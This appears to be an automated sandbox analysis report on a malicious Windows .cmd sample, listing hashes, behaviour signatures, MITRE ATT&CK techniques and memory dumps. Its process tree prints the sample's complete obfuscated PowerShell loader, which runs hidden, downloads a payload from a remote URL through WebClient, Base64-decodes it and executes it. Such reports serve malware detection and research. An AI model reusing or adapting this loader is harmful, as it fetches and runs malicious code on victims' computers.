b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0

Analysis

max time kernel
149s
max time network
146s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27/11/2024, 02:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd
Size

6KB
MD5

47ed689a5e67f8eadfbdf8eee3fecb84
SHA1

57101b7187597c2db41509b98895eafa4c7116eb
SHA256

b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0
SHA512

5d92c1444345c9114932f90d80d2e83bf1612ac6f79b66ce6d51b8c7b2a7f400e68302c6fb194200e1675e97345eb163606478ae338a44bd36fa921136e6110c
SSDEEP

192:thIpQ550zJ2QmToiuhQ7HgCXK1qqJ36w3Av/l9s7nm/+pyBMfkhX:tmpQ5a8f8wa1i/lS7nnpN4

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 62 IoCs

flow	pid	Process
5	2752	powershell.exe
6	2752	powershell.exe
7	2752	powershell.exe
8	2752	powershell.exe
9	2752	powershell.exe
10	2752	powershell.exe
11	2752	powershell.exe
12	2752	powershell.exe
13	2752	powershell.exe
14	2752	powershell.exe
15	2752	powershell.exe
16	2752	powershell.exe
17	2752	powershell.exe
18	2752	powershell.exe
19	2752	powershell.exe
20	2752	powershell.exe
21	2752	powershell.exe
22	2752	powershell.exe
23	2752	powershell.exe
24	2752	powershell.exe
25	2752	powershell.exe
26	2752	powershell.exe
27	2752	powershell.exe
28	2752	powershell.exe
29	2752	powershell.exe
30	2752	powershell.exe
31	2752	powershell.exe
32	2752	powershell.exe
33	2752	powershell.exe
34	2752	powershell.exe
35	2752	powershell.exe
36	2752	powershell.exe
37	2752	powershell.exe
38	2752	powershell.exe
39	2752	powershell.exe
40	2752	powershell.exe
41	2752	powershell.exe
42	2752	powershell.exe
43	2752	powershell.exe
44	2752	powershell.exe
45	2752	powershell.exe
46	2752	powershell.exe
47	2752	powershell.exe
48	2752	powershell.exe
49	2752	powershell.exe
50	2752	powershell.exe
51	2752	powershell.exe
52	2752	powershell.exe
53	2752	powershell.exe
54	2752	powershell.exe
55	2752	powershell.exe
56	2752	powershell.exe
57	2752	powershell.exe
58	2752	powershell.exe
59	2752	powershell.exe
60	2752	powershell.exe
61	2752	powershell.exe
62	2752	powershell.exe
63	2752	powershell.exe
64	2752	powershell.exe
65	2752	powershell.exe
66	2752	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2752	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2752	2312	cmd.exe	31
PID 2312 wrote to memory of 2752	2312	cmd.exe	31
PID 2312 wrote to memory of 2752	2312	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden ";$Paleomagnetist='Tegneenhed';;$Bloodstroke='Zwieback';;$Kalligraferne136='Talesituationerne';;$Lystredes='ulrikes';;$Ozon='Tantum';;$Genopbygning=$host.Name;function Kilters($Yderpunkts){If ($Genopbygning) {$Bunchily=5} for ($Exemplar=$Bunchily;;$Exemplar+=6){if(!$Yderpunkts[$Exemplar]) { break }$Snorres+=$Yderpunkts[$Exemplar]}$Snorres}function Tttekammene($Appetitligst){ .($Levnedsmiddelstyrelsen) ($Appetitligst)}$Omskolingen=Kilters 'Eje.dNUnatiEInap.T Dand.SexkuWRepreE ChribSysteCUmbrilRammiiCrom eEnebrnove.gt';$Allergologernes=Kilters 'D.iftM GastoInfixz SkydiSlumrl Afsal Sknda Adis/';$Bygningsinspektrers=Kilters 'AlkylT P rllHy,ots Papa1Whiff2';$Subshrub='Fjo s[ SpisNWi keETorantSolsk.FeberSReferETetraR SenavFadlsiGrillcSygefe,omitp Rek ORelatIBradyNBootfTTend m isteAJdefonHemelAFibbrgAdvenEGudenRBetac]A oid:Axers:Gy sys.apooeNisk cAph,oUOutrar esomIMangeTHalvny pondP Bumbr OmkooO,kast UdbroDisgrCSyncoOPneumlRacem= Bk e$ meg,bMo eryNonsagDilemNFdevaITalennGifteg AlriSUngdoItoughnOr ntSAdvispRe erE IdrtkTempeTBi leRHyposEFe,gnR Ur sS';$Allergologernes+=Kilters 'Trd.m5 Whit. Neck0Favor Sc op( laaW CraziEkstrn lacadbobleofiskewPaadrsRrbla ElodeNFlyp TP ste Skvet1 ,nop0 delu. Krbl0Mesat;Coint aptWKommeiTot lnMantr6 Brai4Vidn ; andb EmborxTw ni6 onf4Myth ;Gerfu hamamrklbaavUdspa: Chap1Be ik3Fi.er1 C rr. W ld0Blegn)becaf NatioG Droge PeticKalvek illgo ,eli/Ombre2 .dsv0Unlim1Guill0Scene0B.bli1 Can 0Fodba1Un.oo FeltFSubpeiDoorwrBeha,eMast.f ,angoeyolfxSuper/Nulls1Mar h3 Forp1Udbyt.plack0';$Sprgere=Kilters ' arklUTranqs BabaeProblrUdrmn- Cin.AP eheG JusseOpsp NUnorit';$misemploy=Kilters 'Athy hHastet pre tUnpropBon.esPothu: Ggen/madni/Ingeri.onsen H.titHel reHensyrIrregc AmazoRestanVatt sObr,pu.eleflRea.rtFa dg.tilsacInddao oeti. Parlt lammzNeate/FrakosSkuestRotteeAfledpUdholcUnmumhKabeliKult lBil,mdHoloprt iveeunflanHarce. aadxAneposSplinn';$Noncohabitation=Kilters 'Tidsp>';$Levnedsmiddelstyrelsen=Kilters ' EddiiBrnehe Aposx';$Notidanian='Humective';$Herrerkkens='\Borgerliggrelsen.Bol';Tttekammene (Kilters ' ncon$TitiaGElit lHooveo In.rBAlarmaChresltakti:OpvarpK rkeUSevensBri,alHandeE UdryS KorrpGenneISka eLBo stL Kr feReprsT.ndis=Gemmo$Phon.esammen,enaevAnven: C lpAA.minPSupp pR empD ForkAClemet odleA Skra+Unde $Crucih,vnine BailR emirCiphee nhreRDokumkFors,KPraetES nsinSmaatS');Tttekammene (Kilters 'Fo re$Af rfGDisenLBohawoUrstrbOvereaJubillIng f:NonclM asteth oaN FordoCorroR AktirAntimhM nofONonioEGorvaAFolde=Vidtg$D skemConoii MiseSIndviEVolplM PrecPZo splDybvaOUnapoYVe,ne. r mmS oughpBilleLLem.uI quifTBrnds( hjer$TosomNMusikOUnderNIndk cUdp,lOFromah ImbrAIntraB BrugIEksamtCurblASprydTDdssyIVisitOMiocrnSplku)');Tttekammene (Kilters $Subshrub);$misemploy=$Menorrhoea[0];$Kvindehaderen=(Kilters 'Hambo$CostugLongeL,ffecOBytt.bI teraDatabl Meso:,utingFle sld mmeOMe icsRemensKugelAPyrit=BesmyNTeutoep anoWRo gh-,aatvoOrd uB InfrJ Rec,eCrosscCorncTWeigh Flaccskrabby ,uscsC opeTSig aEPaus MBelit.Denud$EquilObrattmOp,ivsArchikBestroOpsigL intrIBunchNmoonsGDemifESpil N');Tttekammene ($Kvindehaderen);Tttekammene (Kilters ' beke$ExplaGReckulPalaeoSnap s ljesE icoa L se.fasteHCbbiseLeveraHeterd E steSpolirArrh sdobbe[Ro.nt$Ib liS FuldpCalorrRibalgBee he amsvrUnloaeKa,rw]Enk,l=w rka$UnordAfaurdl LaenlZy adePersor VendgE ektoOver lEmundoKur cgSkrmdeRi,gtrAnnabnRokkee Hauns');$Enqueters=Kilters 'Fo pr$ umbeGDropslstampoFjerpsMelansSinksaGener.OprrsDBlazioumiskw U.lsnChi,pl BionoLangsaIngradFlavoFPhotoiKupeelVillee Frag( dise$ irksmSemisi.upersRegiseSlyngm nworp CelllApoleo Re,vyGeest,kr se$ Exp.HDeerfo Hyldu SlbessignieGardew.epperNatioiPrebogTribohMundstO ien)';$Housewright=$Puslespillet;Tttekammene (Kilters ' Simo$H oflg,oegeLSulfuOCitexB R,seAudsejL Solo:L nsmKStamfNLingeOShattppepsisHe eri PapiVBrown2Covet3 Fred1 ran=Inter(An ivtBloteeComm s doptTDoris- veryp loria OmryTMenneHPlotc Elekt$SamlsHU danoGingeuIn pes Br seSterlWhngebrSik,eISalvegShitthAtomiTpoace)');while (!$Knopsiv231) {Tttekammene (Kilters 'Smaar$bekvegs rivlNonlio ToppbSor eaCountl ,utt: .errLDoms o StuddAnt ndEtu siRe ieg Kak eR,ngosElektifarmaaMina,=Grfab$Ta ofKQuixoeun ermAnvispAtle t') ;Tttekammene $Enqueters;Tttekammene (Kilters 'Simuls.clertJubilaCequiR MotoTPunkt-ReeveSTra sLDoupfEG nmaeUdparPKat l latt4');Tttekammene (Kilters 'Lyngs$.rbejgSaalsL foruO,rikaBk,nooARdvinlPukeu:Brid,k ,endN UndeO BiblP lattSAntemI SaccVFlles2Elast3Trioe1E,dan=hugge( VandTBlnd ETilhysspektt lma- Battp,rbejaStridTWhizzHNo bl Bebu$ScienhTidseOFatalUBlameSHaw.beUncriWchylorKre tIFllesGTimetHr ablTBes.a)') ;Tttekammene (Kilters 'Ham e$srbehG Unp LHorsoOGuitaBAuto ATetral Mono:Indlss aegtPArmslI InfeRExe gTSubcuSUdgra=T,ekk$DiskvGIn eslPhoenOma kebAdganA s,uaL Offs: osta satuD ntinO SubcPUnattTAfsluI KrignBagsmGAnnel+P tri+ Bukk%Bahlm$DownsMAutonERave N dartO SterR Herbr CarbhK adrO .enteisomoAMunch.i cesc EpizOBardeuBilslNhovedT') ;$misemploy=$Menorrhoea[$Spirts]}$Radiologi=282520;$Elevatorfrerens=31488;Tttekammene (Kilters ' Frst$unbe,GAnoraldia mo DrmmBElatrA H peLNo,as:PerisR GuldBAssocaTorp,R IndaESuverSKapreT KrageBasa,sSkyde5 H li4Uddan Nstst=Azury LocutGarrowE HrfaTulvin-,kaldc ivreOBellyN AnlgtVin.yeFa cinSupe,t Unhy Mhoss$Sacr hImpigo AntiUScottSBe.rteSignawWirdkR Lu,hIMartrGPostrHEnkest');Tttekammene (Kilters 'Parim$ CaptgSimullHypocopenpobBa lfa Mat,l Frug: BivoPRe fraChic.rRecontStonee Briod Strenun areBilggs Mis,sMi,ce Sexfi=resol Helsi[ SpinSUnderyErindsBra dtMallaeLystem owbo.I.divCMacrooFugemnVowelvS orte InderTentmtVit e]unap :Over :UnentFMundsrArsmeoJardpmForsmBDi graIn,ics DiskeOrtho6 Lo k4NonseSco swt Gyttr WhiliPanorn Untrgsmaa,( Delt$TakkeRKindlb Si,eaOverwr stefeHeartsCardit TuikeMultisEmiss5Socia4Dress)');Tttekammene (Kilters 'Mo.or$HeypegPersoLFensmOFloatbWasteAMonoclBista:SkejshDiderJScup,ERos.wSAn elTSmrehEfestkr pinsefemogTLandb B.nhi=Ame t Skill[Hyb.aSPostpY,rthoSSlagttEpi leRivnimForbo.TersetCh toeO tswXBlacktSmrre.EfterEkakofNHimmecElek oannitDBeforiPrestnGeni,gNibby]Int r:Diahe:Berida SelvsFremaCS.ikkI EleciFoxt .Kejs G H reERekomtForlysarrepTTownyrunderi,lutbnstorfG,maad(Dueli$Kast,PburleACoinmRBismuTPaatrENeotrDSta.enFilm e O ubSMatemSHjrej)');Tttekammene (Kilters 'lrker$Bras,gdenatlIskreOVenirBope eAOmredLMimik:Sv jsb FrerUSpjt TKlimaCMon,chDecimE ,utsRDoggiEPolosr V ge=E wil$maundHBestejMyt iEskaveSNavngT OutrEhe dbrS gmee SavfTBlas .,orsesSikkeULbedaBS nkosFa.veTYillcrPip.riCirkuNRillegfurro( Sort$AutodR,eactAin,eld,ehftIHawvaOreparlFladeoClen,g AxenI lagi,Vejrs$,buttEBesviL ampEPr.jevCli.iARevoktCal,iO Gorbr Du.lf onocR ForleValidRRigsfe ChurnPlentsHolid)');Tttekammene $Butcherer;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2752-4-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/2752-6-0x00000000002F0000-0x00000000002F8000-memory.dmp

Filesize
32KB

Download
memory/2752-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-5-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2752-8-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-9-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-10-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-11-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-12-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-13-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/2752-14-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download